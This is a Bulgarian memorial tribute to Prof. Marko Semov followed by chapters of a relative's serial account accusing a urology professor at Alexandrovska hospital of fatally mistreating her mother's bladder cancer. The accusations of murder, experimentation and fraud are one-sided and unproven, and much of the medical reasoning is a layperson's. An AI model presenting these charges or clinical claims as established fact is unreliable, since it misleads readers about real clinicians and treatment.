Перифразирайки Стефан Цвайг – съдбата се оказва онази, която винаги намира човека, нужен за целите й. „Писма до България”, „Глобализацията и националната съдба” – за няколко месеца се превръщаха в настолната книга на тези съвременни Йовкови герои, чиято природа и дух описа съвременният му събрат – проф. Марко Семов. Преминали тихо и незабележимо през живота си, но преживели най-кървавата война, съхранили твърдата си воля да оцелеят, свели физическия си живот до минимума, към заника на дните си, те четяха, прозираха и разбираха един властелин на словото. Доказвайки, че не са загърбили духовността си. Та нали житейска истина е, че знаците на духа се отчитат като следи от житейския опит – от лоши преживелици, заблуди, страдания, тревоги, мигове на безпомощност. А тези мъдри, преполовили вече дните си българи, са ги имали в изобилие цял живот. Лично подарената ми от професора негова книга „Глобализацията и националната съдба”, предавана от майка ми от читател на читател, се изгуби някъде между жадуващите лечителното слово на българския народопсихолог. Питам се – добре или зле е да се изгуби такава книга? Убедена съм, че някой, повече от честен селяни –родолюбец, я пази ревниво единствено за себе си. Макар че преминавайки от ръка на ръка, тя вече беше позагубила невестински натъкмения си вид, галена и милвана от десетки селски „женихи”, гонещи своето столетие…
Това е „онзи кръст, който съдбата не отрежда всекиму”! Това е „непреходността”, това е „нетленността на приноса му в българската духовност” – все благодарни и покъртителни слова на истинските му приятели. Това днес, в лутаща се между две епохи България, може да се случи единствено със словото на Марко Семов. Днес и „след края на света”. И каква грандиозна истина прозвуча в думите на големия му приятел, проф. Станислав Семерджиев, на поклонението по повод една година от раздялата с професора от Видима:
„Професорът отнесе със себе си интелектуалната мощ на нацията…такива личности се раждат на сто години веднъж…!”
Лично аз смятам, че тази зейнала празнота много трудно и бавно ще се запълва с години.
…Когато след смъртта му се срещнах с майка ми, плаках и аз, плака с искрени сълзи и другата обикновена българка от поречието на Златица. И както споделя Мери Акрабова, българка, живееща във Вашингтон и почитаща до гроб името и делото на професора – дори от хиляда живота не ще останат достатъчно години, за да преживеят Марко Семов. От моя собствен живот – също тъй.
Колко поучително и днес звучат мисли, изречени от философи преди повече от сто и петдесет години:
„Трябва да бъдем приобщени към някаква нова система от основни принципи в живота, която да доминира над всичко и всеки да я признае за свой вътрешен съдник. За нейното възникване и укрепване могат да допринасят хората на духа, като проникват все по-дълбоко в човешката същност.”
Но колцина са днес колосите на духа и словото!. ..Не е истина, че няма неповторими хора. Проф. Марко Семов остана един от тях.
В памет на чл. кор. Проф. ДФН МАРКО СЕМОВ
Цецка Бончина
17 януари, 2011 г.
София"
-
Ето сега и за рака и др. от нея:
"
4 февруари – Световен ден за борба с рака.
Отново за професора-умъртвител!
Защо за една година в България са констатирани 33 хиляди българи с онкологични заболявания? Кои са основните причини за възникване и за несправяне с болестта:
-Липсата на утвърдени механизми и методология и бездействието на държавата в лицето на Здравното министерство по отношение на късното диагностициране на болните?
-Деградация на образователната ни система и липсата на професионален капацитет у медицинските работници за лечението на тази болест?
-Липсата на финансов ресурс?
-Деградация на хуманността и еволюирането на медицинската услуга в България в комерчески интерес?
-Наличие на сериозни екологични проблеми в национален, регионален и световен мащаб?
-Липсващи в България нормални условия за здравословен начин на живот – хранене, спорт, спокойствиеи увереност в доброто бъдеще на българина и децата му?
Макар и твърде късно, ние, българите, сме длъжни в името на живота си да изискаме светкавичен отговор на тези въпроси от управляващите държавата. И всеки, който има вина за настоящата трагична реалност в българското общество, да понесе отговорността и бъде наказан за вината си! В противен случай всички сме обречени на бърза и недостойна смърт.
„VENEFICIUM BULGARICUS – САГА ЗА ВИКТОРИЯ”
Продължение на ІV-та глава:
„Как се източват пари от държавата?
Пари и слава на всяка цена!”
„…Американски учени признават, че науката им се крепи на „купени” от целия свят умове. На какво ще се крепи и в своето бъдеще българската наука? Вероятно на същите индивиди с житейски принципи „благополучие и слава на всяка цена”! За сметка на истинските български учени. Нека се замислим дълбоко и върху думите на популярен руски учен, според когото ако в обществото се е натрупал отрицателен потенциал, на хората им е трудно да мислят за хубавото и доброто и приемат за естествени негативните явления. Точно в това се състои и драматизма в нашето развитие. Негативизмът се вкорени в живота ни и стана неотлъчен наш спътник. Свикнахме с него, както с насъщния си. Но гибелното за всички нас, обикновените хора е, че се страхуваме да противодействаме. А така не подмамваме ли собствения си регрес?
За жалост, медицинската наука не е постигнала очаквания голям напредък, въпреки своя „двадесетипетгодишен непрекъснат възход”, както го определя наскоро специалист-медик. Въпреки въведените през последните години нови оперативни методи и апаратура, въпреки успехите в лечението на туморите на пикочния мехур и широко използваната химио- и лъчетерапия, смъртността от рак на пикочния мехур е останала приблизително същата. В страната ни се регистрират годишно от 500 до 700 на брой нови заболявания.
За неосведомените мои братя и сестри по съдба: две са основните диагностични характеристики на туморите на пикочния мехур, които в най-голяма степен определят характера и природата на тумора и възможностите за неговото лечение: стадият на инфилтрация в мехурната стена /определящ се според изискванията на Международния съюз за борба против рака/ и степента на диференциация на туморните клетки.
Беше ли осъществено „комплексно” лечение на майка ми, какъвто принцип изисква и е заложен в медицината, след констатацията за наличие на инвазивен тумор в стадий Т3-4?
Включиха ли в действие всички методи, осигуряващи предпазване и потискане склонността на организма към образуване на нови рецидиви след циничната ТУР?
Доказано е, че транс-уретралната резекция, приложена самостоятелно, е значително по-неефективна, ако не е съпътствана с инстилиране на локален агент!
Съобрази ли се някой с твърденията на водещи учени в тази област, че ракът на пикочния мехур има изключителна склонност към рецидивиране, разпространение и инфилтративен растеж?
Науката твърди също, че лечението зависи от размерите, разположението и вида на тумора. Но противоречието в становищата на специалистите беше озадачаващо. От какви принципи изхождаха, какви научни методи използваха, от какви научни изследвания се ръководеха и какви човешки ценности и възгледи изповядваха – беше и си остана загадка за мен и моите близки.
След трудното изпросване на направление при първото ни доброволно посещение във ВМА,първото лечение, което предложи специалист, беше радикална „цистектомия” /отстраняване на целия пикочен мехур/. Категорично отказахме такава. Но впоследствие същият лекар дава „мнение” на свои колеги от друго здравно заведение, че…„с оглед възрастта на пациентката…не е възможно радикално оперативно лечение!” Обосноваваше се и с поставената от самия него след прегледа диагноза.
Тогава защо ни предложи най-напред такъв метод?
Кое от двете становища беше правилното, научнообоснованото?
Следващото „предложение” на същия специалист беше „перкутанни нефростоми” с цел запазване функциите на бъбреците. Но в този момент се оказа, че „не работи” някакъв апарат, необходим за подобна интервенция. ..
Изпаднала в тотално неведение за нивото на нашето здравеопазване тогава си задавах въпроса – възможно ли е, логично ли е подобно оправдание в най-реномираната, дотирана от държавата болница в страната, с най-добрите професионалисти? Предложиха ни повторно посещение след около две седмици, оказали се твърде дълъг период, изхождайки от симптоматиката на болестта на майка ми. Нямахме никакво време за губене и така се утешихме с разтворените обятия на професора от „Александровска”, чието становище се оказа коренно противоположно на първоначалното на специалиста от ВМА: „Такива операции вече не се правят…Най-малкото пък на възрастни хора!”
Кому трябваше да се доверим? Къде беше мястото им и предложи ли по-късно някой и в „Александровска” адекватните палиативни лечебни методи, задължителни за осигуряване на един достоен живот в неговия залез, дори само спомена ли ги, след като имат своето значимо място най-вече за понижаване стадия на инфилтрация и повишаване степента на диференциация при злокачествени туморни образувания?
Упражни ли професорът задължителен контрол върху кръвната картина и бъбречната функция по време на т. н. „лечение”?
Ако „да”, кое провокираше мнителността на анестезиолози и по-низш персонал и съмненията им по отношение логичността на стратегията му за това лечение?
Няма съмнение, че никой не е вярвал в тази стратегия, но не всички имат почтеността да си признаят публично. Прегледите и анализите на няколко специалисти довеждат до заключението, че пациентката Виктория се нуждае от лъчетерапия. Други военни лекари от ВМА изразяват категорично отричане на оперативното лечение, съобразно поставената диагноза „карцином на пикочния мехур – „Т3-4 N2MX” и възрастта на пациентката. „Разшифрована за нас, достатъчно отдалечени от тази сфера, гореспоменатата диагноза означава: „Тумор, инфилтриращ дълбоката мускулатура или перивезикалното пространство, както и една от следните структури – простата, матка, влагалище, тазова стена, коремна стена, с метастази в един регионарен лимфен възел от 2 до 5 см., или множествени лимфни възли, но с не повече от 5 см. на най-големия от тях; не може да се установи дали има далечни метастази.”
Медицинската наука доказва, че склонността на рака на пикочния мехур към метастазиране е значително по-слабо изразена, отколкото при другите тумори на урогениталната система. Ако изключим апетитите на професора и екипа му за консумиране на клинични пътеки, това становище не беше ли достатъчен аргумент, който да амбицира специалистите, лекуващи Виктория, съобразявайки се и със задължителното изискване за комбинирано прилагане на методите за лечение, да изпълнят своя лекарски дълг, оставайки верни и на своята „клетва”?
Желаещи или не, сложността на диагнозата, дадена и в хистологичното описание от изследването в „Александровска”, би трябвало да задължи специалистите от тази болница да вземат консенсусно решение с това на колегите си от ВМА, за да не предприемат палиативната, рискована и напълно безнадеждна ТУР, независимо, че фигурира като компонент в един от стадиите на лечение на злокачествени заболявания. Но професорът напълно игнорира обстоятелството, че пациентката е с онкозаболяване, задоволявайки се единствено с „болкоуспокояващи” и „кръвоспиращи” след ТУР!
Стореното – сторено. Но ученият няма как да не е бил наясно, че дори и след радикално извършена операция значителен процент от туморите рецидивират и проявяват инвазивен растеж. Макар да не е известен точният механизъм на развитие на рецидивите, според медицинската наука налице са основания за няколко предположения: могат да се дължат на имплантиране на туморни клетки по време на Ту ТУР, както и на непълна резекция на първичния тумор, което е неоспорим и признат от професора факт при „операцията” на Виктория. Не зная как е изпълнил задълженията си ендоскопистът на майка ми в „Александровска”, но по-същественото е признанието на професора, според което туморът се оказва толкова голям, че не успява да определи големината му! Тогава на какво се надява, предприемайки ТУР? Това решение още веднъж подлага категорично на съмнение лекарската му етика и морал. Какво остава пък да бъдат забелязани евентуалните „микроскопични” тумори, след като не са наясно с първичния?
Но професорът е категорично наясно с всичките си фалове и провали. Известно е, че в стремежа си да редуцират броя на рецидивите и да забавят настъпването на прогресия, някои учени използват допълнителни лечебни методи и средства – химио- или имунотерапевтични агенти за локално приложение, станали особено популярни през последните десетилетия. В крайна сметка с тях се постига директен цитотоксичен ефект…Никой никога не предприе рационален метод за продължаване лечението на Виктория след ТУР. Освен поредния злополучен опит на професора да замаскира провала си, след като два дена след резекцията от „Спешен кабинет” на „Александровска” отново, но този път спешно, изпращат оперираната с „гладкия следоперативен период”, тотално подута от масивни отоци пациентка, в клиниката на професора. Но до този момент нямаше как да научим за тайните му намерения да се възползва на сто процента от онкоболната. Въпреки „мимоходом” споделената от него готовност да „премахне” тумора с оперативна намеса.
Как се „премахва” „солиден инвазивен уротелен карцином, нискодиференциран, с обширна инфилтрация в субепителния слой, туморни емболи в съдови пространства, инфилтрация сред фини снопчета гладка мускулатура”?
Не би дръзнал и не би успял да го стори и най-великият гений в медицината! Освен с експериментална цел при попаднал случайно подходящ „материал”! Но „оправданието” на професора с уж наивистичното „Не предполагах, че туморът е толкова голям!” срива из основи трупан с години нечий престиж и слага кръст на всякакви иновационни технологични научни постижения. И с това се е самооневинил…Няма никакво съмнение в алогичността и нецелесъобразността на решението да се извършва хемостаза чрез ТУР. Кое кървене впоследствие се опитва да спре лекуващият – това след резекцията, или онова, станало причина за постъпване на пациентката в клиниката?
Тези действия бяха чист медицински експеримент с живо човешко същество. Чрез него отнеха на майка ми всякакъв шанс впоследствие да бъде лекувана адекватно и отговорно като онкоболна пациентка, защото професорът вложи всичките си знания, умения и опит, за да я превърне за часове в полужив труп, тотално увреждайки и прекратявайки бъбречната дейност на организма й, автоматически превръщайки се в неин отровител и умъртвител!
Смислени и оправдани ли са опитите на професора за хирургична намеса с цел хемостаза, ако беше преценил риска от дисеминационния процес и от евентуален не, от сигурен сепсис?
Какво е показала хемокултурата, ако има такава?
Как ще се оправдае ученият, след като медицинската наука твърди, че понякога дисеминацията на туморния процес е такава, че всякакви опити за хирургично лечение на малигнени тумори са безсмислени и н-е-о-п-р-а-в-д-а-н-и?
След като науката не препоръчва подобни действия, а субектът, утвърдил се като „учен”, според критериите и изискванията на същата тази наука, наруши правилата и прекрачи самоволно границата, извърши ли грешка, или не? Не извърши ли дори престъпление?
Ако „да”, ще си признае ли? И ще бъде ли наказан за това?
Медицинската наука твърди също, че съчетанието на ТУР с интраоперативен ултразвуков контрол повишава значително ефективността на подобен метод. При „лечението” на Виктория бяха ли налице обстоятелства, налагащи приложението на интервенционален метод под ултразвуков контрол, изхождайки освен от ефективността на метода и от безвредността и техническата леснота на изпълнението? Или липсваха подобни обстоятелства, изхождайки от „скъпоструващия” метод и „възрастта” на провинциалистката! Нещо повече – урологията налага становище за съчетаване на ултразвуков и рентгенов метод за образен контрол, явяващи се с наложително и основно приложение именно при трансуретрални оперативни методи при тумори на пикочния мехур!
Бяха ли използвани такива в стратегията на професора? Ако „не”, каква е причината? Отново ли е онази, за която почитаемият читател със сигурност вече се досеща сам?
Специалисти твърдят, че по-големи възможности /ако не за лечение, то поне за частично туширане на последствията/, има при тумори на храносмилателния тракт и пикочния мехур.
Как бяха използвани тези възможности поне за краткосрочно удължаване преживяемостта на пациентката, ако не за лечение?
Имаше ли своето място задължителното хистологично верифициране на ендоскопската диагноза, установяващо рецидивите?
Задейства ли професорът т. н. „ранно иницииране на интравезикална терапия”, за да предотврати или редуцира рецидивите след ТУР, носещи в себе си инвазивен потенциал?
Как и дали изобщо използва за лечение на майка ми натрупания опит с цитостатиците за локално приложение, помисли ли изобщо за локална химиотерапия, за някакви имунотерапевтични и химиотерапевтични агенти?
Беше ли сторено максималното за ограничаване на възпалителния процес?
Сторено или не, резултатът беше налице – два дена след проведената ТУР бъбреците се оказаха тотално унищожени. Ясно е, че никой не се е интересувал нито от рецидиви, нито от туморна прогресия. Въпреки очевадната си морална деградация и фактите, не е за вярване, че популярен в публичното пространство и сред гилдията си специалист би се погаврил със себе си и професията си, за да допусне и повярва, че една транс-уретрална резекция сама по себе си може да предизвика стихване на вторични възпалителни процеси, сама провокирала ги! А резекционната повърхност едва ли е „застилана” с нов, регенерирал епител! Нито беше спряно кървенето, след като допуснаха съдбоностното ликвидиране на водно-електролитния баланс в организма, допълнително доказателство за което беше шокиращият масивен кръвоизлив в тоалетната на ВМА часове след преместването на майка ми от „Александровска”!
Със сигурност повечето от читателите, които имам честта да прелистват тези страници и на които в живота нищо не е убягнало – нито от съзнанието , нито от опита им, нито от интелигентността им, в крайна сметка от тяхната мъдрост, ще останат изненадани от този мой жалък наивитет, който вероятно е просмукан във всеки ред. Защото майка ми беше пациентът „никой”. Тя дори не беше пациент, тя се превърна в достъпна мишена единствено за експеримент. А нашият, на трите й дъщери, социален статус, далеч не беше „респектиращ”, за да промени тези обстоятелства. С които тя не доживя дори първата, полагаща й се като онкоболна контролна цистоскопия, по правило необходима още на четвъртата-шестата седмица след резекцията!
Кои са основните функции на бъбреците?
Една четвърт от кръвта, изпомпвана от сърцето при всяка систола, се насочва към бъбреците. Те елиминират токсичните химични вещества, отпадните продукти от метаболизма, излишната вода и минерални соли, а задържат необходимите за организма съставки.
Какво се слечва при нарушена бъбречна функция?
Получава се задръжка и натрупване в кръвта на отпадните продукти и токсични за организма вещества. Ексцесивно /крайно, прекалено, невъздържано/ се отделят необходими за организма вещества, преминаващи от кръвообръщението в урината. В резултат на отслабената бъбречна функция към тъканите се насочва кръв и биологични течности с неподходящ състав.
При влошаване на бъбречната функция над определени допустими граници се стига до тежка бъбречна недостатъчност, която може и води до летален изход. Точно такава съдба гарантира за Виктория големият учен-професор!
Може да се живее нормално и с един бъбрек, ако другият е със запазени функции. Но за Виктория професорът старателно осигури „хидронефроза двустранно”, с която я обрече на сигурна и бърза смърт!”
Следва продължение!
Кратък речник на медицинскинте термини
стадий „Т3-4” – класификация и групиране по стадии на туморните клетки според изискванията на Международния съюз за борба против рака;
инстилиране – капково въвеждане на медикамент;
дисеминационен /дисеминация, дисеминиране/–разсейване, разпространение на туморни клетки от първичното огнище по кръвен път или лимфен път в организма или из организма;
хемокултура – проба за наличие на сепсис вкръвта; /сепсис – отравяне на кръвта; разпространение с кръвообръщението на болестни микроорганизми, навлезли от инфекциозно огнище в организма/; доказва се чрез хемокултура;
интравезикална /терапия/ – „интра” – вътре, във; „vesica” – мехур;
верифициране /верификация/ – установяване истинността на нещо /от лат./;
"
-
Това е за свръхдиагностицирането от нея:
"СВРЪХДИАГНОСТИЦИРАНЕТО – ДОХОДОНОСЕН БИЗНЕС
„VENEFICIUM BULGARICUS – САГА ЗА ВИКТОРИЯ“
Продължение
ГЛАВА ПЕТА
„ЗАЩО НЕ НАМЕРИТЕ ПО-ДОБРО МЯСТО ЗА МАЙКА СИ?“
Професорската концепция за лечение на Виктория още на следващия ден след първото й изписване като „излекувана“ от „Александровска“ предизвиква синдром, който винаги е показател за функционално или органично бъбречно увреждане – генерализиран едем, проявяващ се с увеличаване на телесното тегло и отоци с натрупване на течности в тъканите и телесните кухини, в перитонеалната кухина /корема/, също. Това състояние е документирано от лекуващите в една от епикризите – „асцит“. Потърпевши са и въздушните пространства на белия дроб. Вече бившата пациентка на професора е с отоци на ръцете и краката. Часове по-късно е констатиран и документиран нефротичен синдром. Характеристиките на това патологично състояние са налице веднага – отоците са дифузни, документирани като „аназарка“, дължащи се на загуба на голямо количество белтък чрез урината /протеинурия/, в резултат на което се наблюдава хипоалбуминемия и хиперлипидемия. Микцията /уринирането/ е преустановена поради фаталното задържане на урина в резултат на блокираните нефрогенни функции. Подпухнало е цялото тяло и майка ми почти не може да се движи. И не се храни.
Търся по телефона съдействие или съвет от клиниката, в която беше „лекувана“, но без резултат. Познатата сестра не се ангажира с нищо. И не беше длъжна. Късно вечерта агресивна вторична артериална хипертония, провокирана от тежките бъбречни нарушения, както и „Dilatationem urethrae post Tu TUR“ – /разширен уретер след туморна транс-уретрална резекция, поредното лично професионално „постижение“ на г-н професора/, ни принуждават да търсим спешна помощ. От „Бърза помощ“ ни препращат към „тел. 112“. След едночасово/!/ чакане към 23 часа пристига дежурен лекар. Констатира освен високо кръвно и аритмия. Особено е притеснен от отоците и препоръчва спешна хоспитализация.
На 5 април сме в „Спешен кабинет“ на УМБАЛ „Александровска“. След ЕКГ и ехография констатират сериозни усложнения в бъбречната дейност и ни препоръчват „отново“ /!/ да посетим кабинета на следващия ден, когато „ще има“ дежурен уролог! Никой не си направи труда да потърси такъв, който би трябвало да е на разположение. Връщаме се у дома. Страданията са нечовешки, но никаква помощ не можем да окажем на майка ми.
На 6 април, след кошмарна нощ, страх и ужас, посещаваме с почти неподвижната вече Виктория отново „Спешен кабинет“. Но не можем да влезем. Търся някого от лекувалите мама лекари. В клиниката не откривам такъв, в приемно отделение на приземния етаж – също. В кабинета не престават да влизат един след друг лекари с протежирани от тях пациенти, които ни отнемат възможността да се възползваме от реда си и спешността на случая. Пристига случайно стар познайник, един от лекувалите майка ми лекари, участвал в касапницата, на когото, неизвестно за нас защо, бяхме специално представени от професора в деня на приема на Виктория на 25 март. Вече бях наблюдавала с недоумение поведението и отношението на този лекар към случайни хора, успели по свой си начин да се доберат до него и молещи го за помощ и съдействие, след което биваха „обезвреждани“ и отпращани от него с думите:
„…Под крилото си ли искате да ви взема?!
Не, не под крилото! Под чувството за дълг и хуманност, под тежестта на една, дадена тържествено, с младежки ентусиазъм клетва, останала само в миналото…, като ехо от една забравена студентска аула.
Когато и ние го помолихме за някакъв съвет за повече от „познатата“ му, но от два дена вече бивша пациентка, дежурният отговор за „крилото“ на доктора беше пуснат веднага в ход. Но нямахме нито избор, нито някакъв шанс скоро да влезем в кабинета и упорито настоявахме за съдействие. Урологът се вбеси, но все пак влезе. И познайте защо! За да предупреди дежурния кардиолог, че навън чакат настоятелни личности, но случаят с майка ми „не е спешен“! И…вместо да „изпише вежди, изважда очи“. Преди майка ми бяха приети трима пациенти със сърдечни проблеми , които имаха щастливия шанс да попаднат на един прекрасен специалист, какъвто се оказа дежурният кардиолог. Присъствайки пет часа в кабинета му, първоначално не изпитвах никакво доверие към този на пръв поглед доста сприхав, избухлив, нервен човек, ексцентричен във вербалното си общуване с пациентите. Но се оказа най-съвестният и отговорен сред явилите се в „Спешен кабинет“ негови колеги. Изтекоха почти два часа, докато чакахме млад уролог да консултира тримата пациенти на кардиолога. Изпаднах в паника, когато разбрах, че си тръгва, без да обърне никакво внимание на майка ми. А тя изглеждаше по-нещастна отвсякога. Въпреки молбата ми, категорично отказа да я прегледа. И безцеремонно напусна кабинета с оправданието: „Ще дойде дежурен колега.“
Майка ми вече имаше чудовищни проблеми с бъбречната функция, т. е. – с липсата й и непрекъснато се потеше, а притеснението допълваше страданията й. Напрежението й беше очевидно, състоянието й – трагично: подута, отчаяна, жалка и безпомощна. По мое настояване и многократни молби най-сетне започна „издирване“ на уролог. След няколко неуспешни опита от страна на сестрата и кардиолога, изпитващ вече неудобство от абсурдната ситуация, той споделя за повтарящите се проблеми с урологична клиника, поради което бил принуден да внесе до ръководството няколко оплаквания от поведението и дисциплината на дежурните лекари, но всичко останало без последствия. Никой не бил в състояние да ги задължи, дори да са дежурни, а конкретният случай само го потвърди.
„Виждате, че тук е хаос…пълна лудница!…Не може да се работи спокойно и нормално. Няма ред и дисциплина у колегите. Вие сама се убедихте в това.“
Но първоначалното пренебрежение към майка ми беше провокирано от нежелаещия да ни вземе „под крилото си“ лекувал я уролог, третирайки Виктория като „неспешен“ случай, за който се яви негов колега след цели пет часа/!/ А можеше и изобщо да не се появи, ако не бяхме скандализирали по телефона бившия лекуващ професор, отсъстващ в този ден от клиниката.
Специалистът, който пристигна и когото не бях виждала в болничната стая на майка ми , въпреки почти непрекъснатия ми престой там, се оказа също неин „лекуващ“ лекар, чието име фигурираше в декларацията за мнимия втори прием на пациентката в „Александровска“. Това обстоятелство ни най-малко не ме обнадежди. Точно обратното – спомних си израза: „…престъпникът винаги се завръща на местопрестъплението“. Пристигна намръщен, неконтактен, сърдит. Единственото, което извърши, беше рутинна ехография. „Лекуващият“не сподели нищо – нито с пациентката, нито с близките й. Бях убедена, а и гузното му поведение /гузно или пренебрежително/?/ издаваше, че този лекар прекрасно си даваше сметка за пъклените действия, извършени с майка ми и довели я до това състояние. Но хич не го интересуваше това й трагично състояние, резултат от професионалните лекарски „грижи“. Когато си позволих да попитам дали отоците са следствие от увредена бъбречна функция, урологът отговори без никакво смущение:
„Не, това идва от сърцето…!“ Твърдеше го, стоейки пред монитора, картината от който е била показателна за лекарското злодейство.
Необходимо е да си натрупал достатъчно запас от цинизъм, арогантност и прекалено самочувствие, но все пак изглежда приемливо да се погавриш с предполагаемата некомпетентност и невежество на събеседника си. Но трябва да си изкоренил из основи генетично заложеното в човешкото същество чувство за самоуважение, за да плюеш по доказания професионализъм на свой колега и то в негово и на пациента му присъствие. Реакцията на кардиолога беше лаконична:
„Нека колегата да не се прави на по-голям кардиолог от мен!“
Подобно противоборство беше трагикомично, достойно за драматургично интерпретиране, но за нещастие фатално за нормалното функциониране на нашето здравеопазване и за едно живо, но болно човешко същество. Относно предложената от кардиолога кръвна картина на непознатата нему Виктория, лекувалият я уролог няма мнение:
„Ако искаш, направи я.“
И веднага си тръгна.
„Вие няма ли да останете?“ – умоляващо попитах доктора.
„Тук не съм нужен. Ще се върна, когато дойде резултатът от лабораторията…“
И излъга…С ехидна усмивка! Повече не се появи. Избяга като престъпник, изоставяйки безпомощната си жертва!
Резултатите от изследването шокираха дежурния кардиолог. Констатацията беше стопроцентова бъбречна недостатъчност. Не без емоция той изрази възхищението си от факта, че със сестра ми сме „удържали“ да чакаме „спешна помощ“ цели пет часа:
„Браво на вас!…Вие спасихте майка си!…Браво на упоритостта и вниманието ви!…Те рядко се срещат!…Така се постъпва! Поздравявам ви!…Тези пет часа търпение не бяха напразно!“
Това беше нов абсурд. Думите на лекаря ме изумиха – защо аз да съм „спасила“ майка ми? Та тя вече беше жив труп! От какво и от кого съм я спасила? Аз ли трябваше да съм спасителят й? А отговорът беше толкова прост и прозрачен: Спасихме я, но само на първо време, от престъпната безотговорност. Ако не бяхме изчакали за нова хоспитализация, майка ми на часа да се е превърнала в покойник още в „Спешен кабинет“!
Очевидно загрижен и обезпокоен, кардиологът светкавично подготви всички документи, необходими за спешната хоспитализация на Виктория. Познайте къде!…Отново при професора. Отново при човека, който почти я беше умъртвил! Който само преди ден и половина я беше изписал в „добро състояние“! А от спешен кабинет я изпращат при него отиваща си – подута, обездвижена, уплашена, отчаяна, обезверена, абсолютна жертва-мъченица.
В този момент липсата на реакция от наша страна беше живото доказателство за убийственото невежество, вкоренило се за нещастие в преобладаващата част от нищо неподозиращото, трогателно доверчиво българско общество!
* * *
Когато я придвижвахме на количка към бившата й болнична стая, /не знаехме къде другаде и никой не ни обясни това/, дежурната сестра се обърна, но „не ни забеляза“! Друга нейна колежка, чиято фалшива усмивка наивната и благородна Виктория обожаваше, не ни прие, тъй като изписаната пациентка не си била тръгнала още. Не можела да я „изгони“, за да се приеме мама. В тази анархия не знаехме как да се справим, към кого да се обърнем и как да постъпим. И двете медицински сестри със сигурност са изпаднали в паника, давайки си сметка коя пациентка ги посещава отново. Със сигурност не са останали изненадани от повторното й явяване, но и едва ли са се надявали това да се случи при тях. Бяха груби и необщителни. Все пак нямаше как да държат болната в коридора и я приемат временно в Клиника по онкоурология и бъбречна трансплантация , където по скромното ми мнение може би там й беше мястото. Но беше доказано, че никой до този момент не я третираше като онкоболна. Тук не беше получила никаква специализирана помощ от онкоуролог, никаква консултация с такъв специалист, не беше получавала нужните медикаменти, от които се нуждае пациентка с подобен трагичен статут. Не беше получила дори задължителната човещина.
След наложителния „трети“ прием /няма такъв, има само втори и последен в „Александровска“/ влиза в ход следващата „операция“, поради провала си представена отново като „уретроцистоскопия“, чието упоменаване стана ясно че се налага от неблагоприятните обстоятелства около поредното зрелище в операционната на урологично отделение. Но макар и оправдавайки някакви парични средства, все пак остава метод за диагностициране. Ако действително е извършена, тя потвърждава друго, базиращо се на множество изследвания и аргументи становище:
В развитите страни „свръхдиагностицирането“ се превръща в доходоносен бизнес, води до „упадък в качеството и нарастване цената на здравеопазването“.
Не са ли гореописаните случаи повече от показателни за подобна констатация! Професорът прилага при изключително тежко състояние на пациентката не друго, а диагностичен метод, заплащащ се от НЗОК, но който не само че не повишава качеството на медицинската му грижа, а напротив – влошава още повече състоянието на болната. Но пък болницата и екипът ще спечелят от това. Кой губи? НЗОК ли? Не! Защото повечето от натрупаните средства са от здравно-осигурени лица, за щастие невъзползвали се от тях. Използват ги личности, забравили дълг, клетва, отговорност пред себе си и обществото. Този ресурс е изчерпал до дъно и професорът, чийто проблем в подобен деликатен момент едва ли са парите. Проблемът е в неправенето на нищо, невъзможността да правиш нещо, след един личен професионален провал.
Но „смекчаващи вината обстоятелства“ за нас, българите, както и нашата утеха е фактът, че това се случва и в „развитите“ страни. Ако страданията и бързата смърт на майка ми бяха едно от условията за бързия просперитет на нацията ни, то тогава грешниците щяха да бъдат изцяло оневинени. Уви!…
Следва продължение!
"
-
Ето го и следващото от нея:
"КЛИНИЧНА КОМПЕНСАЦИЯ ДО ПЪЛНА РАЗРУХА-ПОРЕДЕН „УСПЕХ“ НА ПРОФЕСОРА-УМЪРТВИТЕЛ
„VENEFICIUM BULGARICUS – САГА ЗА ВИКТОРИЯ“
Продължение
ГЛАВА ПЕТА
* * *
Анамнезата сочи прием по повод анурия*, настъпила след 3-ти април /т. е. след транс-уретралната резекция и изписването/, „когато започнала да уринира на капки“, с „отоци на двата крака, симетрично…“. В деня на спешната хоспитализация креатининът сочи стойности 1029, на следващия ден – 1075, /блокиращо мускулната дейност/.
Професорът е наясно, че приема пациент с диагностициран злокачествен тумор. Основната му задача беше хемостаза. При първата „операция“ – уретроцистоскопия, за да оправдае клиничната пътека, той предприема „евакуация на коагулуми“. Но още в деня на приема на Виктория по време на своеобразното „интервю“ с приемащ лекар беше дадено сведение за наличие на кръвни съсиреци, с вида си обуславящи т. н. „значителна хематурия“. При подобна констатация медицинската наука изисква незабавно аспириране със задължителна катетеризация и включване на промивна система с цел предотвратяване образуването на коагулуми!
Как действа професорът? Вероятно спестява тази манипулация /аспирация/, доказателство за което са самите образували се коагулуми, които твърди, че е „евакуирал“. Второ доказателство за пренебрегване на аспирацията: дори след проведената /първа по ред/ уретроцистоскопия с последващата евакуация, катетер и промивна система, наложителни при подобен род аспирация, на пациентката не са включени. /Любопитно, но не е изненадващо, че професорът твърди обратното в предоставената със закъснение и потулвана епикриза. /До този момент уретерите функционират, не са запушени.
Как се стигна до този проблем? Науката е категорична: „За да надстъпи анурия, трябва да бъдат увредени и двата бъбрека.“ С тази задача професорът се справя перфектно! Дори да е продължил с хемостаза и след ТУР, което декларира в документ, с агресивната резекция последвалите инвазивни процеси и туморна прогресия довеждат до двустранна обструкция и пълно блокиране на функциите на уретерите , респ. на бъбречната дейност, със запушване на уретералните остиуми и възпрепятстване оттока на урина към пикочния мехур, респ. към уретрата. Този фатален „резултат“ от дейността си, заедно с наличие на фибринови налепи, професорът лично констатира след втората по ред уретроцистоскопия, след която не се прилага никакво лечение. И тя, както и проваленият и шокиращият за Виктория опит за уретерно протезиране можеха да й бъдат спестени, ако професорът си беше направил труда да извърши необходимото за изясняване нивото и характера на препятствието в оттока на урината, което му дава възможност за повече информация относно запушените уретери. Ако не беше убеден в успеха на новия си експеримент за отпушването им, може ли да бъде оправдана безотговорната и финализираща тоталното увреждане на пациентката нова „операция“ на учения-уролог, по време на която присъстват и действат в единомислие седем медицински лица, двама от които професори? Оправдава я единствено възможността за ново източване на пари от държавата!
Но за нещастие на самата Виктория железният й организъм, който я поддържа все още жива, осигурява благодатно поле за неспирните експерименти, като през целия период на злодейство продължава да поддържа и успокояваща лекарите афебрилност /липса на висока температура./ Все пак ще бъде справедливо да им признаем старанието – след рутинната процедура този път са изпълнили перфектно задължението си – „поставили са катетър и са включили промивна система“!…
